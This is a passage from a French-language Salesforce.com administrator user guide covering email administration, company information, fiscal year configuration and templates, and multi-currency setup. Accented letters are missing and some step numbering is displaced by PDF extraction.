pour vos utilisateurs sans fil. Les configurations mobiles sont des ensembles de paramtres qui dterminent les donnes
transmises par Salesforce.com et les utilisateurs qui les reoivent sur leur priphrique mobile (reportez-vous Gestion des
configurations mobiles la page 1988).
Administration hors ligne
Dveloppez le dossier Administration hors ligne sous Configuration de l'administration afin de grer des configurations de
porte-documents pour Connect Offline. Connect Offline. Connect Offline est une application cliente qui permet d'accder
un sous-ensemble d'enregistrements Salesforce.com l'aide de la mme interface de type navigateur que le systme en ligne,
mais sans connexion Internet. Connect Offline permet d'afficher, de modifier, de crer et de supprimer des comptes, des
activits, des contacts, des opportunits, des pistes et des enregistrements d'objet personnalis (groupes de relations incluses).
Vous pouvez galement ajouter et mettre jour des produits et des planifications dans les opportunits.
Administration des e-mails
Dveloppez le dossier Administration des e-mails sous Configuration de l'administration pour configurer les options de
messagerie suivantes pour votre organisation :

Livraison : permet de configurer les options de livraison d'e-mails qui affectent l'ensemble de votre organisation
(reportez-vous Configuration des paramtres de livraison la page 344).
Message Cci de conformit - Si votre organisation value la conformit de tous les messages lectroniques sortants, vous
pouvez activer la fonction concernant les messages Cci de conformit pour automatiser l'envoi d'une copie cache de chaque
message sortant une adresse e-mail que vous spcifiez. L'activation des messages Cci de conformit empche les utilisateurs
de modifier le champ Cci des messages et dsactive le paramtre Cci automatique sous Paramtres de mon message.
(Reportez-vous la rubrique Activation des messages Cci de conformit la page 346.)
Activation du relais de messagerie - Configurez Salesforce.com pour acheminer automatiquement les e-mails via le serveur
SMTP (Simple Mail Transfer Protocol) de votre entreprise. (Reportez-vous la rubrique Configuration de la fonction de
relais de messagerie la page 348.)
Tester la livraison : permet de vrifier que votre organisation peut recevoir des e-mails depuis chaque adresse IP de
Salesforce.com (reportez-vous Test de la dlivrabilit des e-mails la page 347).
Adresses l'chelle de l'organisation : permet d'associer un alias d'e-mail chaque profil d'utilisateur disponible
(reportez-vous Adresses l'chelle de l'organisation la page 350.)
Email To Salesforce : permet de consigner automatiquement les e-mails envoys depuis des comptes de messagerie tiers
en tant qu'activits dans les enregistrements de pistes et de contacts dans Salesforce.com. (reportez-vous Activation de
la fonction E-mail Salesforce la page 352).

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Guide de l'utilisateur | Informations sur la socit | 45

Google Apps
Dveloppez le dossier Google Apps sous Configuration de l'administration pour intgrer Salesforce.com Google Apps
: une suite d'outils de communication et de collaboration la demande hbergs par Google et conus pour les utilisateurs
d'entreprise. (reportez-vous Prsentation de Google Apps la page 1832).

Informations sur la socit

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher les informations sur la socit :

Afficher la configuration

Pour modifier les informations sur la socit :

Autorisation de personnalisation de l'application

Lorsque votre socit s'abonne, les informations fournies s'affichent dans la page des informations de la socit dans
Configuration Profil de la socit Informations sur la socit.
Dans la page Informations sur la socit, vous pouvez :

Cliquer sur Modifier pour changer les informations de la socit, notamment la langue par dfaut de l'organisation.
Cliquer sur Configuration devise pour pouvoir utiliser plusieurs devises. Disponible uniquement dans Group Edition,
Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition.

La page Informations sur la socit affiche galement toutes les licences utilisateurs et de fonctionnalit actives achetes pour
votre entreprise. Une licence utilisateur donne accs diffrentes fonctionnalits dans Salesforce.com et dtermine les profils
disponibles pour l'utilisateur. Une licence de fonctionnalit donne accs une fonctionnalit Salesforce.com supplmentaire,
telle que Marketing ou Connect Offline.
Cette page affiche les informations suivantes pour chaque type de licence :

Le champ Statut indique le statut de la licence.

Le champ Nombre total de licences indique le nombre de licences factures votre entreprise et qui vous sont
disponibles.
Le champ Licences utilises est le nombre de licences que vous avez attribues aux utilisateurs.
Le champ Licences restantes renseigne sur le nombre de licences non utilises.

Voir aussi :
Gestion de plusieurs devises
Affichage des types de licence utilisateur
Affichage des licences de fonctionnalit

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Guide de l'utilisateur | Informations sur la socit | 46

Configuration de l'exercice
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher l'exercice :

Afficher la configuration

Pour modifier l'exercice :

Personnaliser l'application

Configuration d'un exercice standard

Si votre organisation se conforme l'exercice du calendrier grgorien mais que vous devez modifier le mois de dbut de l'exercice,
utilisez les exercices standard. Un exercice standard peut dmarrer le premier jour de n'importe quel mois et vous pouvez
spcifier si son nom est dfini en fonction de l'anne de dbut ou de fin. Par exemple, si l'exercice commence au mois d'avril 2001
et s'achve en mars 2002, le paramtre d'exercice peut tre 2001 ou 2002. Si votre exercice est plus complexe, reportez-vous
Activation des exercices personnaliss la page 46.
ATTENTION: Tous les quotas, l'historique et les remplacements des prvisions sont perdus si le mois de dbut de
l'exercice est modifi en un mois qui n'tait pas auparavant le premier mois d'un trimestre. Par exemple, si vous modifiez
le mois de dbut de janvier avril, les donnes sont alors prserves. En revanche, si vous le modifiez de janvier
fvrier, les donnes sont alors perdues.
Pour configurer un exercice standard :
1. Sauvegardez vos donnes en cours.
a. Excutez et exportez ces rapports dans Excel :

En-cours de l'opportunit
Rsum prvisionnel trimestriel
Quota par rapport au rel

b. Gnrez ventuellement une exportation hebdomadaire des donnes.

Nous vous conseillons d'effectuer cette opration car la modification de l'exercice entrane un dcalage des priodes d'exercice.
Ce dcalage influe sur les opportunits et les prvisions l'chelle de l'organisation.
Cliquez sur Configuration Profil de la socit Exercice.
Slectionnez Exercice standard.
Choisissez le mois de dbut.
Indiquez si l'exercice est dfini selon l'anne par laquelle il commence ou se termine.
Slectionnez ventuellement l'option Appliquer toutes les prvisions et tous les quotas si vous
souhaitez appliquer les paramtres du nouvel exercice aux prvisions et quotas existants. Selon vos paramtres de prvision,
il se peut que cette option ne soit pas disponible.
7. Cliquez sur Enregistrer pour achever la procdure.
2.
3.
4.
5.
6.

Activation des exercices personnaliss

Si la dfinition de votre exercice ne correspond pas un exercice standard, vous pouvez activer les exercices personnaliss ;
vous avez ainsi la possibilit de dfinir librement une structure d'exercice plus complexe.
Pour activer les exercices personnaliss :

Gestion de l'administration

Guide de l'utilisateur | Informations sur la socit | 47

Remarque: Avant d'activer les exercices personnaliss, vrifiez que vous avez export les donnes lies aux priodes
d'exercice. Pour plus de dtails sur les effets de l'activation des exercices personnaliss, reportez-vous propos des
exercices la page 47.
1. Sauvegardez vos donnes en cours.
a. Excutez et exportez ces rapports dans Excel :

En-cours de l'opportunit
Rsum prvisionnel trimestriel
Quota par rapport au rel

b. Gnrez ventuellement une exportation hebdomadaire des donnes.

Nous vous conseillons d'effectuer cette opration car la modification de l'exercice entrane un dcalage des priodes d'exercice.
Ce dcalage influe sur les opportunits et les prvisions l'chelle de l'organisation.
2.
3.
4.
5.

Cliquez sur Configuration Profil de la socit Exercice.

Slectionnez Exercice personnalis.
Cliquez sur Activer les exercices personnaliss.
Si vous avez bien compris les effets de l'activation des exercices personnaliss et que vous avez export toutes vos donnes,
cliquez sur OK.
ATTENTION: Il est impossible d'annuler l'activation des exercices personnaliss. L'activation des exercices
personnaliss a un impact sur vos rapports, prvisions, quotas et autres lments sensibles aux dates. N'activez les
exercices personnaliss que si vous avez cern toutes les implications et que vous y tes prpar.

Si vous n'tes pas sr de votre choix, cliquez sur Annuler.

6. Une fois que vous avez activ les exercices personnaliss, dfinissez votre exercice. Reportez-vous Dfinition d'un exercice
personnalis la page 54.

Voir aussi :
Configuration des prvisions personnalisables
propos des exercices
Dfinition d'un exercice personnalis
Choix d'un modle d'exercice personnalis

propos des exercices

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour dfinir ou modifier des exercices :

Personnaliser l'application

Pour afficher les exercices :

Afficher la configuration

Toutes les entreprises n'utilisent pas l'anne grgorienne pour leur exercice fiscal. Avec Salesforce.com, vous dfinissez facilement
l'exercice parfaitement adapt aux besoins de votre entreprise.

Gestion de l'administration

Guide de l'utilisateur | Informations sur la socit | 48

Si votre exercice fiscal suit le calendrier grgorien, mais ne commence pas en janvier, vous pouvez trs facilement configurer
votre exercice en dfinissant un exercice standard. Si votre exercice suit une autre structure, vous pouvez dfinir un exercice
personnalis adapt vos besoins.
Que vous utilisiez un exercice standard ou un exercice personnalis, vous pouvez dfinir des exercices individuels pour toute
votre organisation. Ces dfinitions d'exercice vous permettent d'utiliser ces priodes fiscales dans Salesforce.com, y compris
dans les rapports, les opportunits et les prvisions.
Conseil: Nous vous recommandons de dfinir vos exercices aprs vos prvisions actuelles. Mettez galement jour
les planifications et les prvisions de produit chaque fois qu'un exercice est cr ou modifi.

Voir aussi :
Configuration de l'exercice
Exercices standard
Les exercices standard sont des priodes qui suivent le calendrier grgorien, mais peuvent dbuter le premier jour de n'importe
quel mois de l'anne. Contrairement l'exercice personnalis, l'exercice standard peut tre utilis par les organisations o la
fonction de prvisions personnalisables n'est pas active.
Exercices personnaliss
Pour les entreprises qui rpartissent leurs exercices, trimestres et semaines en priodes fiscales personnalises sur la base de
leurs exigences en matire de planification financire, Salesforce.com met votre disposition des exercices personnaliss pour
dfinir ces priodes de manire trs souple. Par exemple, dans le cadre d'un exercice personnalis, vous pouvez crer un trimestre
de 13 semaines reprsent par trois priodes de 4, 4 et 5 semaines au lieu d'utiliser les mois calendaires.
Si vous utilisez une structure d'exercice standard, telle qu'une structure 4-4-5 ou 13 semaines, vous pouvez rapidement dfinir
un exercice en indiquant tout simplement une date de dbut et un modle intgr. Si la structure de votre exercice n'est pas
intgre aux modles, vous pouvez facilement modifier un modle. Par exemple, si vous utilisez trois trimestres fiscaux par an
plutt que quatre, supprimez ou modifiez des trimestres ou des priodes pour les adapter vos besoins.
Les priodes d'exercice personnalises peuvent tre nommes en fonction de vos normes. Par exemple, une priode peut tre
intitule P2 ou fvrier .
Les exercices peuvent tre modifis chaque fois que vous avez besoin d'en changer la dfinition. Par exemple, vous pouvez
ajouter une semaine supplmentaire pour synchroniser un exercice personnalis avec un calendrier standard lors d'une anne
bissextile. Les changements apports la structure de l'exercice prennent effet ds qu'ils sont enregistrs.
Observations relatives l'activation des exercices personnaliss
Avant d'activer un exercice personnalis, tenez compte des problmes suivants :

Lorsque vous activez des exercices personnaliss, vous ne pouvez pas les dsactiver. Vous pouvez cependant dfinir des
exercices personnaliss qui suivent la mme structure de calendrier grgorien que les exercices standard de Salesforce.com.
Les exercices ne seront pas automatiquement crs. Les seuls exercices disponibles sont ceux dfinis par votre entreprise.
Les prvisions ne peuvent pas tre utilises avec des exercices personnaliss, sauf si la fonction de prvisions personnalisables
est active. Pour dterminer si vous disposez des prvisions personnalisables, reportez-vous Est-ce que je dispose de la
prvision personnalisable ? la page 1445.
L'activation ou la dfinition des exercices personnaliss a une incidence sur vos prvisions, rapports et quotas.

Gestion de l'administration

Guide de l'utilisateur | Informations sur la socit | 49

Lorsque vous dfinissez un nouvel exercice personnalis ou lorsque vous modifiez la longueur d'une priode, tous les
quotas correspondants sont perdus.
Lorsque vous dfinissez un nouvel exercice personnalis ou lorsque vous modifiez la longueur d'une priode, les prvisions,
les prvisions de remplacement et l'historique des prvisions sont perdus. La modification de la longueur d'une priode
peut galement influencer l'exercice prcdent ou l'exercice suivant, ainsi que les rapports associs. Les prvisions des
priodes prcdant le premier exercice personnalis tant enregistres, vous pouvez y accder selon la procdure habituelle.
Les rapports de prvision pour une priode suivant le dernier exercice dfini ne peuvent pas tre regroups par priode,
mais seulement par date.
Afin de vous assurer que vos rapports de prvision comprennent les montants les plus actualiss, affichez les prvisions
pour la priode incluse dans le rapport avant de lancer un rapport de prvision.

Votre entreprise ne pourra pas utiliser les colonnes d'exercice dans les rapports d'opportunit, d'opportunit associe un
produit et d'opportunit associe une planification.
Les vues de liste d'opportunit n'incluent pas de colonne d'exercice.

Personnalisation de la structure de l'exercice

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour dfinir ou modifier des exercices :

Personnaliser l'application

Pour afficher les exercices :

Afficher la configuration

Si votre exercice personnalis requiert une structure diffrente de celle disponible partir des modles, vous pouvez utiliser les
fonctions de personnalisation avance pour modifier les dtails de sa dfinition. Les exercices personnaliss vous permettent
d'effectuer les oprations suivantes :

Personnalisation des tiquettes de priode

Rinitialisation de l'exercice sur un modle
Ajout ou suppression de priodes d'exercice
Modification de la dure d'une semaine d'exercice
ATTENTION: La modification de la dure d'un exercice a des consquences sur les prvisions et les rapports. Pour
plus d'informations sur ces consquences, reportez-vous propos des exercices la page 48.

Personnalisation des tiquettes de priode

Les tiquettes de priode d'exercice correspondant aux prvisions et aux rapports sont dfinies par les valeurs d'tiquette par
dfaut des priodes. Pour les modifier, reportez-vous Personnalisation des tiquettes d'exercice la page 51.
Rinitialisation de l'exercice sur un modle
Au cours de la personnalisation, si vous souhaitez revenir un modle d'exercice, slectionnez-le dans la liste droulante
Rinitialiser la structure de l'exercice.

Gestion de l'administration

Guide de l'utilisateur | Informations sur la socit | 50

Remarque: Cette rinitialisation supprime toutes les personnalisations apportes l'exercice.

Ajout ou suppression de priodes d'exercice

Vous pouvez facilement ajouter des priodes (trimestres, priodes ou semaines) la structure de l'exercice ou en supprimer.
Pour ajouter des priodes d'exercice :
Cliquez sur Configuration Profil de la socit Exercice.
Cliquez sur Modifier en regard de l'exercice modifier.
Si ncessaire, dveloppez la section Personnalisation avance.
Cochez la case correspondant la priode prcdant la nouvelle priode. Par exemple, pour ajouter un trimestre qui
reprsentera le deuxime trimestre, cochez la case du premier trimestre.
5. Cliquez sur Insrer.
1.
2.
3.
4.

Remarque: Le nombre maximal de priodes est de 250.

Pour supprimer une priode d'exercice :

1.
2.
3.
4.
5.

Cliquez sur Configuration Profil de la socit Exercice.

Cliquez sur Modifier en regard de l'exercice modifier.
Si ncessaire, dveloppez la section Personnalisation avance.
Cochez la case de la priode supprimer.
Cliquez sur Supprimer.
Remarque: Il doit exister au moins un trimestre, une priode et une semaine.

Modification de la dure d'une semaine d'exercice

Pour modifier la dure des priodes d'exercice :
1.
2.
3.
4.

Cliquez sur Configuration Profil de la socit Exercice.

Cliquez sur Modifier en regard de l'exercice modifier.
Si ncessaire, dveloppez la section Personnalisation avance.
Choisissez la dure de la semaine d'exercice dans la liste droulante Dure.
Remarque: Pour modifier la dure d'une priode ou d'un trimestre, insrez ou supprimez des semaines, ou modifiez
la dure des semaines qui composent la priode ou le trimestre en question.

Gestion de l'administration

Guide de l'utilisateur | Informations sur la socit | 51

Une fois que vous avez personnalis votre exercice, consultez sa dfinition. Si elle est correcte, fermez l'aperu, puis cliquez
sur Enregistrer pour enregistrer l'exercice.

Voir aussi :
Dfinition d'un exercice personnalis
propos des exercices
Choix d'un modle d'exercice personnalis

Personnalisation des tiquettes d'exercice

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour dfinir ou modifier des exercices :

Autorisation de personnalisation de l'application

Pour afficher les exercices :

Afficher la configuration

Il existe deux mthodes pour personnaliser l'tiquetage de l'exercice :

1. Les schmas de dnomination et les options de prfixe
2. La personnalisation des listes de slection de l'exercice
Schmas de dnomination et options de prfixe d'exercice
Lorsque vous dfinissez un exercice personnalis, slectionnez le schma d'tiquetage de votre choix. Chaque type d'exercice
(trimestre, priode ou semaine) possde une liste des schmas d'tiquetage disponibles.
Schma du nom du trimestre
Numrotation par anne
Cette option vous permet d'ajouter le numro du trimestre l'tiquette correspondante. Cette tiquette est une
combinaison de l'tiquette des prfixe et numro du trimestre. Par exemple, si le prfixe du trimestre est T, l'tiquette
du troisime trimestre est T3. Pour personnaliser le prfixe du trimestre, reportez-vous Prfixe du trimestre
la page 52. Par dfaut, le numro de chaque trimestre est dfini par son ordre (le premier trimestre a l'tiquette 1).
Personnalisez-le en slectionnant une autre valeur dans la liste droulante des dtails du trimestre.
Noms de trimestre personnaliss
Cette option vous permet de paramtrer l'tiquette du trimestre sur un nom. L'tiquette du trimestre est paramtre
sur le nom que vous choisissez dans Nom du trimestre. Par dfaut, l'ordre des noms de trimestre est identique
celui de la liste de slection, mais vous pouvez le personnaliser en slectionnant une autre valeur dans la liste
droulante des dtails du trimestre.

Gestion de l'administration

Guide de l'utilisateur | Informations sur la socit | 52

Schma du nom de la priode

Numrotation par anne
Cette option vous permet de dfinir l'tiquette de la priode en fonction de sa position dans l'anne. Cette tiquette
est une combinaison des prfixe et numro de la priode. Les numros de priode ne sont pas rinitialiss chaque
trimestre. Par exemple, si le prfixe de la priode est P, la sixime priode a l'tiquette P6. Pour personnaliser le
prfixe de la priode, reportez-vous Prfixe de la priode la page 52. Par dfaut, le numro
de chaque priode est dfini par son ordre (la premire priode a l'tiquette 1). Personnalisez-le en slectionnant
une autre valeur dans la liste droulante des dtails de la priode.
Numrotation par trimestre
Cette option vous permet de dfinir l'tiquette de la priode en fonction de sa position dans le trimestre. Cette
tiquette est une combinaison des prfixe et numro de la priode. Les numros de priode sont rinitialiss
chaque trimestre. Par exemple, si le prfixe de la priode est P et que la sixime priode reprsente la deuxime
priode du deuxime trimestre, l'tiquette correspondante est P2. Pour personnaliser le prfixe de la priode,
reportez-vous Prfixe de la priode la page 52. Par dfaut, le numro de chaque priode est dfini par
sa position dans le trimestre (la premire priode d'un trimestre a l'tiquette 1). Personnalisez-le en slectionnant
une autre valeur dans la liste droulante des dtails de la priode.
Noms de mois standard
Cette option vous permet de paramtrer l'tiquette de la priode sur le nom du mois marquant le dbut de cette
priode. Par exemple, si une priode commence le 12 octobre et s'achve le 10 novembre, elle a pour tiquette
octobre .
Noms de priode personnaliss
Cette option vous permet de paramtrer l'tiquette de la priode sur une chane. L'tiquette de la priode est
paramtre sur la chane que vous choisissez dans Nom de la priode. Par dfaut, l'ordre des noms de priode
est identique celui de la liste de slection, que vous pouvez personnaliser en slectionnant une autre valeur dans
la liste droulante des dtails de la priode.
Listes de slection de l'exercice
Examinez ces listes de slection personnalises pour personnaliser les tiquettes de l'exercice personnalis.
Prfixe du trimestre

La liste de slection des prfixes de trimestre se compose d'options correspondant au prfixe du numro ou du nom du
trimestre si l'exercice utilise le schma de dnomination de trimestre Numrotation par anne. Par exemple, si le trimestre
s'appelle T4, T est le prfixe correspondant.
Prfixe de la priode

La liste de slection des prfixes de priode se compose d'options correspondant au prfixe du numro ou du nom de la
priode si l'exercice utilise le schma de dnomination de priode Numrotation par anne. Par exemple, si la priode
s'intitule P4, P est le prfixe correspondant.
Nom du trimestre

La liste de slection des noms de trimestre se compose d'options correspondant au nom du trimestre si l'exercice utilise
le schma de dnomination Noms de trimestre personnaliss. Par exemple, si vous souhaitez intituler les trimestres en
fonction des saisons (printemps, t, automne, hiver), paramtrez la liste des noms de trimestre sur ces valeurs.
Nom de la priode

La liste de slection des noms de priode se compose d'options correspondant au nom de la priode si l'exercice utilise
le schma de dnomination Noms de priode personnaliss. Comme pour la liste de slection des noms de trimestre,
choisissez des noms significatifs pour la liste de slection des noms de priode.

Gestion de l'administration

Guide de l'utilisateur | Informations sur la socit | 53

Personnalisation des noms d'exercice

Pour personnaliser l'une de ces listes de slection :
1. Cliquez sur Configuration Profil de la socit Exercice.
2. Cliquez sur Remplacer en regard de la liste de slection concerne.
Pour plus d'informations sur la personnalisation des valeurs de ces listes de slection, reportez-vous Options supplmentaires
pour la mise jour de listes de slection la page 376.

Choix d'un modle d'exercice personnalis

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour modifier votre exercice :

Personnaliser l'application

Lorsque vous dfinissez un nouvel exercice personnalis, la premire tape consiste choisir un modle. Ces modles facilitent
la dfinition de l'exercice personnalis. Ils gnrent un exercice personnalis simple que vous pouvez adapter vos besoins.
Remarque: Si vous choisissez un modle et que vous vous rendez compte qu'il n'est pas totalement adapt la dfinition
de votre exercice, vous pouvez tout moment le rinitialiser l'aide de l'option Rinitialiser la structure de l'exercice.
Pour plus d'informations, reportez-vous Personnalisation de la structure de l'exercice la page 49.
Choisissez l'un des trois types de modle :
4 trimestres par an, 13 semaines par trimestre
Choisissez l'un de ces modles d'exercice si vous souhaitez que chaque trimestre possde le mme nombre de semaines.
Tous ces modles prsentent 4 trimestres, 12 priodes et 52 semaines par an. Chaque trimestre compte 13 semaines
rparties sur 3 priodes. Deux priodes de chaque trimestre comptent 4 semaines et une priode en compte 5. Dans un
modle 4-4-5 par exemple, la premire et la deuxime priodes d'un trimestre durent 4 semaines et la troisime priode
dure 5 semaines. Les semaines sont toujours d'une dure de 7 jours. Une personnalisation typique de ces modles consiste
ajouter des semaines supplmentaires pour les annes bissextiles.
4-4-5
Au cours de chaque trimestre, la priode 1 compte 4 semaines, la priode 2 compte 4 semaines et la priode 3 en
compte 5
4-5-4
Au cours de chaque trimestre, la priode 1 compte 4 semaines, la priode 2 compte 5 semaines et la priode 3 en
compte 4
5-4-4
Au cours de chaque trimestre, la priode 1 compte 5 semaines, la priode 2 compte 4 semaines et la priode 3 en
compte 4

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Guide de l'utilisateur | Informations sur la socit | 54

13 priodes par an, 4 semaines par priode

Choisissez l'un de ces modles si votre exercice compte plus de 12 priodes et si l'un des trimestres est plus long que les
autres. Ces modles possdent tous 4 trimestres par an, 13 priodes par an, 3 ou 4 priodes par trimestre, 53 semaines
par an et 4 semaines par priode (5 semaines dans la dernire priode). Les semaines comptent gnralement 7 jours,
mais il existe une semaine plus courte la fin de l'anne. La personnalisation la plus courante de ce type de modle
consiste crer ou modifier la longueur d'une semaine courte.
3-3-3-4
Les trimestres 1, 2 et 3 comptent 3 priodes chacun et le trimestre 4 en compte 4
3-3-4-3
Les trimestres 1 et 2 comptent 3 priodes chacun, le trimestre 3 compte 4 priodes et le trimestre 4 en compte 3
3-4-3-3
Le trimestre 1 compte 3 priodes, le trimestre 2 compte 4 priodes, et les trimestres 3 et 4 comptent 3 priodes
chacun
4-3-3-3
Le trimestre 1 compte 4 priodes et les trimestres 2, 3 et 4 comptent 3 priodes chacun
Calendrier grgorien
12 mois/an, calendrier grgorien standard.
Contrairement aux autres styles de modle, vous ne pouvez pas procder une personnalisation avance d'un exercice
cr partir d'un modle de calendrier grgorien. Utilisez ce modle uniquement si vous souhaitez crer un exercice
adapt au calendrier grgorien. Ce modle reproduit le fonctionnement des exercices standard.

Voir aussi :
Dfinition d'un exercice personnalis
propos des exercices

Dfinition d'un exercice personnalis

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour afficher l'exercice :

Afficher la configuration

Pour modifier votre exercice :

Autorisation de personnalisation de l'application

Avant de dfinir un exercice personnalis, activez cette fonction pour votre organisation. Pour plus d'informations, reportez-vous
Activation des exercices personnaliss la page 46.
L'activation des exercices personnaliss ne les dfinit pas automatiquement. Vous devez dfinir tous les exercices personnaliss
de votre socit afin qu'ils soient adapts son calendrier.

Gestion de l'administration

Guide de l'utilisateur | Informations sur la socit | 55

Si vous avez dfini un exercice personnalis qui doit tre modifi, modifiez la dfinition existante de l'exercice. Il est impossible
de supprimer les exercices personnaliss. Au lieu de supprimer un exercice existant, modifiez-le pour l'adapter vos besoins.
Avant de dfinir ou de modifier un exercice personnalis, reportez-vous propos des exercices la page 47 pour prendre
conscience de son impact sur les prvisions, les rapports et d'autres objets.
Dfinition d'un nouvel exercice personnalis
Pour dfinir un nouvel exercice personnalis :
1. Cliquez sur Configuration Profil de la socit Exercice.
2. Cliquez sur Nouveau. La bote de dialogue des modles d'exercice personnalis apparat.
3. Choisissez un modle et cliquez sur Continuer pour fermer la bote de dialogue des modles d'exercice personnalis. Pour
plus d'informations sur les modles, reportez-vous Choix d'un modle d'exercice personnalis la page 53.
4. Dfinissez la date de dbut et le nom de l'exercice, puis choisissez le jour de dbut de la semaine. Vous pouvez galement
ajouter la description de l'exercice.
Remarque: S'il s'agit du premier exercice personnalis que vous dfinissez, les champs Date de dbut de
l'exercice et Date de dbut de la semaine sont paramtrs sur la date du jour. Si vous avez dj dfini
un exercice personnalis, ces champs seront paramtrs sur le jour suivant la dernire date de fin de vos exercices
personnaliss.
Si vous devez apporter des modifications ne portant pas sur la date de dbut, le nom de l'exercice ou le jour de dbut de la
semaine, reportez-vous Personnalisation de la structure de l'exercice la page 49.
5. Vrifiez ventuellement la dfinition de l'exercice en cliquant sur Aperu.
Si elle est correcte, fermez l'aperu, puis cliquez sur Enregistrer pour enregistrer votre exercice ou sur Enregistrer et
Nouveau pour enregistrer votre exercice et en dfinir un autre.
Modification d'un exercice personnalis
Pour modifier la dfinition d'un exercice personnalis existant :
1.
2.
3.
4.

Cliquez sur Configuration Profil de la socit Exercice.

Cliquez sur le nom d'un exercice dfini pour en consulter les dtails. Fermez l'aperu de l'exercice pour continuer.
Cliquez sur Modifier en regard de l'exercice modifier.
Modifiez les champs Date de dbut de l'exercice, Nom de l'exercice, Description ou Jour de dbut
de la semaine.
Si cet exercice chevauche l'exercice prcdent ou s'il existe un cart entre les exercices en raison de la modification du champ
Date de dbut de l'exercice, la date de fin de l'exercice prcdent est remplace par le jour prcdant le dbut de
cet exercice.
Si cet exercice chevauche l'exercice suivant ou s'il existe un cart entre les exercices en raison de la modification de la date
de fin, la date de dbut de l'exercice suivant est remplace par le jour suivant la fin de cet exercice.
Remarque: Vous ne pouvez pas modifier la date de dbut ou de fin d'un exercice l'origine du chevauchement
d'un exercice dfini l'aide d'un modle d'anne grgorienne.
ATTENTION: Si vous modifiez la date de dbut ou de fin d'un trimestre, d'une priode ou d'une semaine, toutes
les donnes prvisionnelles (y compris les quotas, l'historique et les remplacements des prvisions) de cet intervalle
et toutes les prvisions d'intervalle ajustes de manire automatique, la suite de ce changement, seront perdues.
Cela concerne les dates de dbut ou de fin modifies par l'insertion ou la suppression de priodes.

5. Cliquez sur Aperu.

Gestion de l'administration

Guide de l'utilisateur | Gestion de plusieurs devises | 56

6. Vrifiez la dfinition de l'exercice. Si elle est correcte, fermez l'aperu, puis cliquez sur Enregistrer pour enregistrer l'exercice.
Si vous devez effectuer des modifications plus dtailles, reportez-vous Personnalisation de la structure de l'exercice la
page 49
Remarque: Si vous ne les spcifiez pas, les tiquettes de priode d'exercice des prvisions et des rapports sont
dfinies par les valeurs d'tiquette par dfaut des priodes de l'exercice. Pour les modifier, reportez-vous
Personnalisation des tiquettes d'exercice la page 51.

Voir aussi :
Configuration de l'exercice
Choix d'un modle d'exercice personnalis
Options supplmentaires pour la mise jour de listes de slection
propos des exercices

Gestion de plusieurs devises

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les devises :

Afficher la configuration

Pour modifier les devises :

Autorisation de personnalisation de l'application

Votre organisation peut activer la prise en charge de plusieurs devises pour les opportunits, les prvisions, les rapports et
d'autres donnes. Pour configurer plusieurs devises :
1. Contactez salesforce.com pour activer la prise en charge de plusieurs devises pour votre entreprise.
2. Indiquez votre devise d'entreprise. Reportez-vous Dfinition d'une devise d'entreprise la page 57.
3. Activez des devises supplmentaires pour votre organisation. Reportez-vous Activation et dsactivation de devises la
page 57.
4. Pour utiliser des taux de change dats, activez la gestion avance des devises.
5. Dfinissez les taux de conversion pour les nouvelles devises. Reportez-vous Modification des taux de conversion la page
58 et, si vous avez activ la gestion avance des devises, Modification des taux de change dats la page 61.

Voir aussi :
Importation de plusieurs devises

Gestion de l'administration

Guide de l'utilisateur | Gestion de plusieurs devises | 57

Dfinition d'une devise d'entreprise

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les devises :

Afficher la configuration

Pour modifier les devises :

Personnaliser l'application

Votre administrateur doit spcifier une devise d'entreprise, identique celle utilise par le sige social de votre socit pour
dclarer son chiffre d'affaires. Un reprsentant salesforce.com dfinit initialement la devise d'entreprise lors de l'activation de
la fonction.
Pour modifier votre devise d'entreprise :
1. Cliquez sur Configuration Profil de la socit Gestion des devises.
2. Cliquez sur Modifier l'entreprise.
3. Choisissez une nouvelle devise d'entreprise dans la liste des devises actives, puis cliquez sur Enregistrer. Si vous n'avez pas
encore configur de devises, reportez-vous Activation et dsactivation des devises la page 57.
La devise d'entreprise est la devise sur laquelle vont se baser tous les taux de conversion.

Voir aussi :
Gestion de plusieurs devises
Modification des taux de conversion
propos de la gestion avance des devises

Activation et dsactivation de devises

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les devises :

Afficher la configuration

Pour modifier les devises :

Autorisation de personnalisation de l'application

Pour utiliser plusieurs devises, votre administrateur doit spcifier celles prises en charge par votre entreprise.

Devises actives : devises des pays dans lesquels votre organisation est prsente. Seules les devises actives peuvent tre saisies
dans les opportunits, les prvisions et les autres lments. Une devise active ne peut pas tre supprime dfinitivement par
la suite.

Gestion de l'administration

Guide de l'utilisateur | Gestion de plusieurs devises | 58

Devises inactives : devises que votre organisation n'utilise plus. Vous disposez peut-tre d'enregistrements existants utilisant
des devises inactives, mais vous ne pouvez pas saisir de nouveaux montants dans ces devises.

Pour activer de nouvelles devises :

1.
2.
3.
4.
5.
6.

Cliquez sur Configuration Profil de la socit Gestion des devises.

Cliquez sur Nouveau dans la liste associe Devises actives.
Slectionnez une devise. Les devises sont tries par ordre alphabtique selon leur code de devise ISO.
Entrez le taux de conversion correspondant votre devise d'entreprise.
Spcifiez le nombre de dcimales des montants exprims dans cette devise.
Cliquez sur Enregistrer.

Pour activer une devise partir d'une liste de devises inactives, cliquez sur Activer en regard de la devise.
Pour dsactiver une devise, cliquez sur Dsactiver en regard de la devise. Si vous dsactivez une devise, les montants des
lments exprims dans cette devise ne seront pas modifis. Cependant, vous ne pourrez plus entrer de nouveaux montants
utilisant cette devise inactive.
Remarque: Si vous dsactivez une devise dfinie en tant que devise personnelle d'un utilisateur, la devise de cet
utilisateur redevient automatiquement la devise d'entreprise.

Voir aussi :
Gestion de plusieurs devises
Dfinition d'une devise d'entreprise
Modification des taux de conversion
propos de la gestion avance des devises

Modification des taux de conversion

Disponible avec : Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher les devises :

